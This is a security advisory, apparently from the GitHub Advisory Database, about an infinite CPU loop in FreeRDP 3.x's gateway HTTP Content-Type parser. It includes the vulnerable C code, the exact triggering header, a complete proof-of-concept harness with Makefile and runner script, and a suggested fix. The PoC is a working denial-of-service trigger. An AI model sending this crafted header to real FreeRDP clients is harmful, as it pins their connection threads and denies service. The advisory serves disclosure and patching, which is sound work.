A crafted gateway Content-Type header causes an infinite CPU loop in FreeRDP
What fixes it
- 3.32.0FreeRDP, cGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Executive Summary
Mallory operates a gateway that Alice selects for a FreeRDP connection, or Mallory has compromised Alice's configured gateway. After the transport is established, Mallory returns a complete HTTP response whose Content-Type is application/octet-stream; x and whose Content-Length is nonzero. FreeRDP's gateway response parser reaches the semicolon, repeatedly searches from that same semicolon, and never makes progress. The client connection thread remains runnable and consumes one CPU core until the process or connection attempt is terminated externally. This does not bypass TLS: a generic on-path attacker would still need to satisfy or defeat the applicable certificate trust decision.
The defective scan is present in every inspected GA FreeRDP 3.x tag from 3.0.0 through 3.31.1, all 50 such tags available in the repository. It also remains in the supported development branch inspected after 3.31.1. No fixed release was found. The demonstrated impact is availability loss only; there is no evidence of confidentiality loss, integrity impact, memory corruption, code execution, or privilege escalation.
I reviewed the supported release and development source, traced the scan to the 2018 Content-Type parsing change, and ran the real http_response_recv() production object through its socket-backed BIO interface. A recognized application/rpc control returned normally. The crafted header timed out in three of three runs, remained runnable at approximately one full CPU, and produced a stack snapshot inside the production Content-Type parser.
Background
FreeRDP supports Remote Desktop Gateway transports. Gateway HTTP responses are delivered to http_response_recv() through rdpTls.bio, the BIO that exposes bytes after the transport layer has processed them. The parser reads the complete header, stores Content-Type and Content-Length, and decides whether the declared length should control the body read.
The decision helper recognizes application/rpc, text/plain, text/html, and application/json. The parser also attempts to scan beyond an unrecognized value when a semicolon is present. Regardless of whether the peer's value is recognized, the parser should either advance to the next token or reject the header. A peer-controlled header must not trap the client in CPU-only code where the gateway response timeout cannot run.
The assessed topology is a FreeRDP client using an attacker-controlled or compromised gateway. Alice initiates the connection and therefore supplies the user interaction represented in the severity score. The PoC uses a local socket pair and calls the same production parser boundary; it does not contact a gateway, a remote desktop server, or any external system.
Vulnerability Details
In FreeRDP 3.31.1, http_response_parse_header_field() copies the gateway's Content-Type value into response->ContentType. When the response has a nonzero Content-Length, http_response_recv() scans that string:
/* libfreerdp/core/gateway/http.c, http_response_recv(), FreeRDP 3.31.1 */
if (readContentLength && (response->ContentLength > 0))
{
const char* cur = response->ContentType;
while (cur != nullptr)
{
if (http_use_content_length(cur))
{
if (response->ContentLength < RESPONSE_SIZE_LIMIT)
bodyLength = response->ContentLength;
break;
}
else
readContentLength = FALSE; /* prevent chunked read */
cur = strchr(cur, ';');
}
}For application/octet-stream; x, the first call to http_use_content_length(cur) returns false. The first strchr(cur, ';') returns a pointer to the semicolon. On the next iteration, cur already points to that character, so strchr(cur, ';') returns the same pointer. Neither branch changes the string or advances cur, making the loop invariant permanent.
The configured gateway response timeout does not mitigate this condition. Timeout checks occur around BIO reads; after the header has been parsed, this loop performs no further I/O and never reaches the body reader. Closing the peer socket also cannot release a thread that no longer reads from it.
The scan was introduced by the public d05684a50 change, which expanded Content-Type handling and added the semicolon loop. Direct inspection found the same non-advancing statement in every GA 3.x release tag from 3.0.0 through 3.31.1. Current supported development source retains it, and no fixing change or backport was found.
Exploitability Analysis
The established primitive is a deterministic client-side CPU denial of service. Mallory controls one gateway HTTP response. Alice must connect through that gateway, and the response must contain a nonzero Content-Length and an unrecognized Content-Type containing a semicolon. Authentication to the eventual desktop is not required for the parser failure, but the applicable gateway transport and TLS trust prerequisites still apply.
The production-path comparison changed only the Content-Type value. With application/rpc, the parser returned the one-byte body and exited 0. With application/octet-stream; x, an external timeout ended the still-running parser after three seconds. CPU sampling showed the process in runnable state before and after the sample interval, with user CPU advancing by roughly one second while system CPU remained unchanged. A signal-triggered backtrace resolved inside http_response_recv() or its inlined http_use_content_length() helper, depending on the exact sampling point.
Three additional bounded repetitions were unanimous: all three controls returned, while all three crafted responses timed out without reaching the return marker. This rules out a blocked socket read, incomplete response, generic parser failure, and slow sanitizer startup as explanations for the hang.
The impact is limited to availability. One crafted connection pins one client thread and typically one core. The evidence does not establish process-wide multi-core exhaustion from one response, persistent compromise, data exposure, data modification, or code execution. A conservative CVSS 3.1 assessment is CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H (6.5, Medium).
Proof of Concept
The PoC links the supplied FreeRDP build's actual http.c.o, constructs a complete response, writes it through one end of a stream socket pair, and assigns the other end to rdpTls.bio. The runner accepts only the verified parser hashes for FreeRDP 3.31.1 and the assessed supported development source. It bounds the positive case with timeout, samples /proc CPU counters, captures a signal backtrace, verifies that the stack resolves within the production Content-Type parser, and removes its temporary build and logs on exit.
The positive case intentionally consumes one CPU core for approximately three seconds. It does not open a network connection, change source files, or persist generated files.
From the report directory, prepare a sanitizer-enabled FreeRDP 3.31.1 build:
git clone --depth 1 --branch 3.31.1 https://github.com/FreeRDP/FreeRDP.git FreeRDP-3.31.1 cmake -S FreeRDP-3.31.1 -B FreeRDP-3.31.1/build-poc \ -DCMAKE_BUILD_TYPE=Debug -DBUILD_SHARED_LIBS=ON \ -DCMAKE_C_FLAGS='-O1 -g -fsanitize=address,undefined -fno-omit-frame-pointer' \ -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' cmake --build FreeRDP-3.31.1/build-poc -j2 cd poc ./run.sh ../FreeRDP-3.31.1 ../FreeRDP-3.31.1/build-poc
If FreeRDP's dependencies are installed in a nonstandard prefix, supply the corresponding CPPFLAGS, LDFLAGS, and LD_LIBRARY_PATH; the runner preserves those variables. The final packaged runner was replayed against the verified supported development parser and produced:
assessed source: verified supported master parser parser SHA-256: 7aad1242f11874d18b71c807a816b0f3da9428c8f4236b47ec98eb3c4092242e control: rc=0, returned body-length=1 body-byte=X positive: rc=124, states=R/R, user-tick delta=101, system ticks=8/8 stack: http_use_content_length in libfreerdp/core/gateway/http.c Content-Type parser PASS: recognized control returned; crafted Content-Type pinned the production parser until timeout.
The source/build paths are caller-provided. The Makefile expects the ordinary CMake object layout and a shared build containing libfreerdp3 and libwinpr3.
<!-- BEGIN FILE: poc/http_response_socket_e2e.c -->
#include <errno.h>
#include <execinfo.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <openssl/bio.h>
#include <freerdp/freerdp.h>
#include <freerdp/settings.h>
#include "libfreerdp/core/gateway/http.h"
static void dump_stack(int sig)
{
void* frames[32] = { 0 };
const int count = backtrace(frames, 32);
static const char marker[] = "SIGUSR1 stack snapshot:\n";
(void)sig;
(void)write(STDERR_FILENO, marker, sizeof(marker) - 1);
backtrace_symbols_fd(frames, count, STDERR_FILENO);
}
static int write_all(int fd, const char* data, size_t length)
{
while (length > 0)
{
const ssize_t written = write(fd, data, length);
if (written < 0)
{
if (errno == EINTR)
continue;
return -1;
}
data += written;
length -= (size_t)written;
}
return 0;
}
int main(int argc, char* argv[])
{
if ((argc != 2) || ((strcmp(argv[1], "control") != 0) &&
(strcmp(argv[1], "positive") != 0)))
{
fprintf(stderr, "usage: %s control|positive\n", argv[0]);
return 2;
}
struct sigaction sa = { 0 };
sa.sa_handler = dump_stack;
sigemptyset(&sa.sa_mask);
if (sigaction(SIGUSR1, &sa, NULL) != 0)
{
perror("sigaction");
return 3;
}
const char* content_type =
strcmp(argv[1], "control") == 0 ? "application/rpc" : "application/octet-stream; x";
char response[512] = { 0 };
const int length = snprintf(response, sizeof(response),
"HTTP/1.1 200 OK\r\n"
"Content-Type: %s\r\n"
"Content-Length: 1\r\n"
"Connection: close\r\n"
"\r\n"
"X",
content_type);
if ((length <= 0) || ((size_t)length >= sizeof(response)))
return 4;
int sockets[2] = { -1, -1 };
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) != 0)
{
perror("socketpair");
return 5;
}
if ((write_all(sockets[1], response, (size_t)length) != 0) ||
(shutdown(sockets[1], SHUT_WR) != 0))
{
perror("write/shutdown");
return 6;
}
close(sockets[1]);
freerdp* instance = freerdp_new();
if (!instance || !freerdp_context_new(instance))
{
fprintf(stderr, "failed to initialize FreeRDP context\n");
freerdp_free(instance);
return 7;
}
rdpTls tls = { 0 };
tls.context = instance->context;
tls.bio = BIO_new_socket(sockets[0], BIO_CLOSE);
if (!tls.bio)
{
fprintf(stderr, "BIO_new_socket failed\n");
freerdp_context_free(instance);
freerdp_free(instance);
return 8;
}
fprintf(stderr, "mode=%s bytes=%d content-type=%s\n", argv[1], length, content_type);
fflush(stderr);
HttpResponse* parsed = http_response_recv(&tls, TRUE);
if (!parsed)
{
fprintf(stderr, "http_response_recv returned null\n");
BIO_free(tls.bio);
freerdp_context_free(instance);
freerdp_free(instance);
return 9;
}
const size_t body_length = http_response_get_body_length(parsed);
const char* body = http_response_get_body(parsed);
const int valid = (body_length == 1) && body && (body[0] == 'X');
fprintf(stderr, "returned body-length=%zu body-byte=%c\n", body_length,
(body && (body_length > 0)) ? body[0] : '?');
http_response_free(parsed);
BIO_free(tls.bio);
freerdp_context_free(instance);
freerdp_free(instance);
return valid ? 0 : 10;
}<!-- END FILE: poc/http_response_socket_e2e.c -->
<!-- BEGIN FILE: poc/Makefile -->
CC ?= cc
SOURCE ?=
BUILD ?=
OUT ?=
ifeq ($(strip $(SOURCE)),)
$(error Set SOURCE to a supported FreeRDP source directory)
endif
ifeq ($(strip $(BUILD)),)
$(error Set BUILD to its sanitizer-enabled build directory)
endif
ifeq ($(strip $(OUT)),)
$(error Set OUT to the output executable path)
endif
HTTP_OBJECT := $(BUILD)/libfreerdp/CMakeFiles/freerdp.dir/core/gateway/http.c.o
INCLUDES := -I$(SOURCE) -I$(SOURCE)/winpr/include -I$(BUILD)/winpr/include \
-I$(BUILD) -I$(BUILD)/include -I$(SOURCE)/include
LIBRARY_DIRS := -L$(BUILD)/libfreerdp -L$(BUILD)/winpr/libwinpr
.PHONY: all
all:
@test -f "$(HTTP_OBJECT)" || { echo "missing production object: $(HTTP_OBJECT)" >&2; exit 1; }
$(CC) -O0 -g -rdynamic -fsanitize=address,undefined -fno-omit-frame-pointer \
$(CPPFLAGS) $(INCLUDES) http_response_socket_e2e.c "$(HTTP_OBJECT)" \
-o "$(OUT)" $(LDFLAGS) -Wl,--allow-shlib-undefined $(LIBRARY_DIRS) \
-lfreerdp3 -lwinpr3 -lssl -lcrypto -lm -lpthread -ldl<!-- END FILE: poc/Makefile -->
<!-- BEGIN FILE: poc/run.sh -->
#!/bin/sh
set -eu
if [ "$#" -ne 2 ]; then
echo "usage: $0 FREE_RDP_SOURCE FREE_RDP_ASAN_BUILD" >&2
exit 2
fi
source_dir=$1
build_dir=$2
script_dir=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
work_dir=$(mktemp -d "${TMPDIR:-.}/freerdp-http-content-type.XXXXXX")
work_dir=$(CDPATH= cd -- "$work_dir" && pwd)
timeout_pid=
cleanup()
{
if [ -n "$timeout_pid" ]; then
kill -KILL "$timeout_pid" 2>/dev/null || true
fi
rm -rf "$work_dir"
}
trap cleanup EXIT HUP INT TERM
expected_3311=096b3f622db7e0dff31db98ffcd6e27d73d50ec40bf8114986b949c0f852169d
expected_supported_master=7aad1242f11874d18b71c807a816b0f3da9428c8f4236b47ec98eb3c4092242e
actual=$(sha256sum "$source_dir/libfreerdp/core/gateway/http.c" | awk '{print $1}')
case "$actual" in
"$expected_3311") assessed_source='FreeRDP 3.31.1' ;;
"$expected_supported_master") assessed_source='verified supported master parser' ;;
*)
echo "refusing unverified parser source hash: $actual" >&2
exit 3
;;
esac
make -s -C "$script_dir" SOURCE="$source_dir" BUILD="$build_dir" \
OUT="$work_dir/http_response_socket_e2e"
runtime_path=$(find "$build_dir" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
dependencies=$(dirname -- "$build_dir")/deps
if [ -d "$dependencies" ]; then
dependency_path=$(find "$dependencies" -type f -name '*.so.*' -printf '%h\n' | sort -u | paste -sd: -)
if [ -n "$dependency_path" ]; then
runtime_path=$runtime_path:$dependency_path
fi
fi
if [ -n "${LD_LIBRARY_PATH:-}" ]; then
runtime_path=$runtime_path:$LD_LIBRARY_PATH
fi
asan_options=detect_leaks=0:halt_on_error=1
set +e
LD_LIBRARY_PATH="$runtime_path" ASAN_OPTIONS="$asan_options" \
timeout 3 "$work_dir/http_response_socket_e2e" control \
>"$work_dir/control.stdout" 2>"$work_dir/control.stderr"
control_rc=$?
set -e
test "$control_rc" -eq 0
grep -q 'returned body-length=1 body-byte=X' "$work_dir/control.stderr"
LD_LIBRARY_PATH="$runtime_path" ASAN_OPTIONS="$asan_options" \
timeout 3 "$work_dir/http_response_socket_e2e" positive \
>"$work_dir/positive.stdout" 2>"$work_dir/positive.stderr" &
timeout_pid=$!
sleep 1
parser_pid=$(ps -o pid= --ppid "$timeout_pid" | tr -d ' ' | head -1)
test -n "$parser_pid"
set -- $(awk '{print $3, $14, $15}' "/proc/$parser_pid/stat")
state_before=$1
user_before=$2
system_before=$3
kill -USR1 "$parser_pid"
sleep 1
set -- $(awk '{print $3, $14, $15}' "/proc/$parser_pid/stat")
state_after=$1
user_after=$2
system_after=$3
set +e
wait "$timeout_pid"
positive_rc=$?
set -e
timeout_pid=
test "$positive_rc" -eq 124
test "$state_before" = R
test "$state_after" = R
user_delta=$((user_after - user_before))
test "$user_delta" -ge 25
! grep -q 'returned body-length' "$work_dir/positive.stderr"
sed -n 's/.*http_response_socket_e2e(+\(0x[0-9a-fA-F]*\)).*/\1/p' \
"$work_dir/positive.stderr" >"$work_dir/offsets"
test -s "$work_dir/offsets"
addr2line -f -C -e "$work_dir/http_response_socket_e2e" \
$(cat "$work_dir/offsets") >"$work_dir/resolved-stack"
if grep -q '^http_response_recv$' "$work_dir/resolved-stack"; then
stack_symbol=http_response_recv
elif grep -q '^http_use_content_length$' "$work_dir/resolved-stack"; then
stack_symbol=http_use_content_length
else
echo 'stack snapshot did not resolve inside the production Content-Type parser' >&2
exit 4
fi
grep -Eq 'libfreerdp/core/gateway/http.c:(9[4-6][0-9]|970|13(7[4-9]|8[0-9]|9[01]))([[:space:]]|$)' \
"$work_dir/resolved-stack"
printf 'assessed source: %s\n' "$assessed_source"
printf 'parser SHA-256: %s\n' "$actual"
printf 'control: rc=%s, returned body-length=1 body-byte=X\n' "$control_rc"
printf 'positive: rc=%s, states=%s/%s, user-tick delta=%s, system ticks=%s/%s\n' \
"$positive_rc" "$state_before" "$state_after" "$user_delta" "$system_before" "$system_after"
printf 'stack: %s in libfreerdp/core/gateway/http.c Content-Type parser\n' "$stack_symbol"
echo 'PASS: recognized control returned; crafted Content-Type pinned the production parser until timeout.'<!-- END FILE: poc/run.sh -->
Remediation
The scan must either advance beyond the delimiter or stop. A minimal source-compatible correction is to search for the next semicolon, break when none exists, then move at least one character forward before another iteration. Leading optional whitespace can be skipped after advancing:
const char* next = strchr(cur, ';'); if (!next) break; cur = next + 1; while (*cur && isspace((unsigned char)*cur)) cur++;
The parser should also decide whether semicolon-delimited parameters are intended to be searched as independent media types. If not, rejecting an unrecognized media type is simpler and avoids ambiguous parameter handling. In either design, enforce an explicit progress invariant so future parsing changes cannot repeat the same pointer indefinitely.
Add a regression test through http_response_recv() using a socket or memory BIO and a complete response. The test should cover recognized application/rpc, unrecognized content without a semicolon, the exact application/octet-stream; x trigger, a trailing semicolon, whitespace after the delimiter, and multiple delimiters. Each case must complete within a short bound, and recognized content must still honor the declared body length.
No shipped fix or fixed release was identified at the assessed revisions.
Summary
FreeRDP 3.0.0 through 3.31.1, and the inspected supported development source, can enter an infinite CPU loop while parsing a gateway-controlled Content-Type header. A malicious or compromised gateway can trigger the condition with a complete response containing a nonzero Content-Length and Content-Type: application/octet-stream; x. The verified result is a client connection thread pinned at one core until external termination, with no demonstrated confidentiality, integrity, or code-execution impact.
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, c>= 3.0.0, <= 3.31.1GitHub